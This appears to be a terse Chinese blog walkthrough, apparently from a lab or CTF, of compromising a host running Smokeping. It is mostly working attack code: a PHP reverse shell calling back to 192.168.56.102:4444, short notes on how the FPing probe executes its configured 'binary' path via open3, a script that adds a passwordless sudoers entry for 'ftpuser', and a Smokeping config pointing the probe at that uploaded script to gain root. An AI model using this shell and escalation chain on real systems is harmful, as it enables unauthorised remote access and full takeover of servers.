HollowのBlog

1
 <?php
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  $sock = fsockopen("192.168.56.102", 4444);
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  if (!$sock) die("connect failed\n");
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  $proc = proc_open("/bin/sh -i", [
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      0 => $sock,
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      1 => $sock,
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      2 => $sock,
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  ], $pipes);
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  if (is_resource($proc)) proc_close($proc);
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  fclose($sock);
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  ?>

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1. sub binary
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 说明这个 probe 有一个叫 binary 的程序路径配置项
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2. my @cmd = (...)
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 说明程序会把 binary 放进待执行命令
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3. open3(..., @cmd)
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 说明这个命令会被真正执行

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# derived class (ie. RemoteFPing) can override this
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sub binary {
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        my $self = shift;
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        return $self->{properties}{binary};
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}
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# derived class (ie. FPing6) can override this
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sub testhost {
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        return "localhost";
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}
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sub ping ($){
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    my $self = shift;
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    # do NOT call superclass ... the ping method MUST be overridden
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# increment the internal 'rounds' counter
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$self->increment_rounds_count;
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my %upd;
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my $inh = gensym;
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my $outh = gensym;
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my $errh = gensym;
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# pinging nothing is pointless
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return unless @{$self->addresses};
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my @params = () ;
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push @params, "-$self->{properties}{protocol}" if $self->{properties}{protocol} and $self->{enable}{proto};
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push @params, "-b$self->{properties}{packetsize}" if $self->{properties}{packetsize};
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push @params, "-t" . int(1000 * $self->{properties}{timeout}) if $self->{properties}{timeout};
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push @params, "-i" . int(1000 * $self->{properties}{mininterval});
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push @params, "-p" . int(1000 * $self->{properties}{hostinterval}) if $self->{properties}{hostinterval};
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push @params, "--iface=$self->{properties}{interface}" if $self->{properties}{interface};
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if ($self->rounds_count == 1 and $self->{properties}{sourceaddress} and not $self->{enable}{S}){
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   $self->do_log("WARNING: your fping binary doesn't support source address setting (-S), I will ignore any sourceaddress configurations - see  http://bugs.debian.org/198486.");
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}
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push @params, "-S$self->{properties}{sourceaddress}" if $self->{properties}{sourceaddress} and $self->{enable}{S};
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if ($self->rounds_count == 1 and $self->{properties}{tos} and not $self->{enable}{O}){
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   $self->do_log("WARNING: your fping binary doesn't support type of service setting (-O), I will ignore any tos configurations.");
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}
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push @params, "-O$self->{properties}{tos}" if $self->{properties}{tos} and $self->{enable}{O};
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my $pings =  $self->pings;
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if (($self->{properties}{blazemode} || '') eq 'true'){
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    $pings++;
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}
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my @cmd = (
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                $self->binary,
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                '-C', $pings, '-q','-B1','-r1',
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                @params,
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                @{$self->addresses});
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$self->do_debug("Executing @cmd");
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my $pid = open3($inh,$outh,$errh, @cmd);
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$self->{rtts}={};
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my $fh = ( $self->{properties}{usestdout} || '') eq 'true' ? $outh : $errh;
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while (<$fh>){

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  #!/bin/sh
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  /usr/bin/id > /tmp/fping-root.id 2>&1
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  /bin/echo 'ftpuser ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/zz_ftpuser
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  /bin/chmod 440 /etc/sudoers.d/zz_ftpuser
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  echo "localhost : 0.01"
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  exit 0

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 *** General ***
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  owner    = root
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  contact  = root@localhost
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  mailhost = localhost
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  imgcache = /tmp/smoke-img
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  imgurl   = /smoke-img
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  datadir  = /tmp/smoke-data
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  piddir   = /tmp
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  cgiurl   = http://localhost/cgi-bin/smokeping.cgi
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  smokemail = /etc/smokeping/smokemail
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  tmail     = /etc/smokeping/tmail
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  *** Alerts ***
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  to = root@localhost
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  from = root@localhost
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  +test
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  type = loss
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  pattern = >0%,*1*
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  comment = test
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  *** Database ***
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  step     = 300
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  pings    = 3
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  AVERAGE  0.5 1 10
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  *** Presentation ***
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  template = /etc/smokeping/basepage.html
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  + overview
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  width = 600
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  height = 50
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  range = 10h
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  + detail
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  width = 600
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  height = 200
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  unison_tolerance = 2
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  "Last 3 Hours" 3h
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  *** Probes ***
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  +FPing
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  binary = /var/www/vhosts/ftp.smoke.dsz/uploads/fping-root.sh
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  *** Targets ***
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  probe = FPing
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  menu = Top
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  title = root
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  remark = root
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  + Local
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  menu = Local
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  title = Local
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  host = 127.0.0.1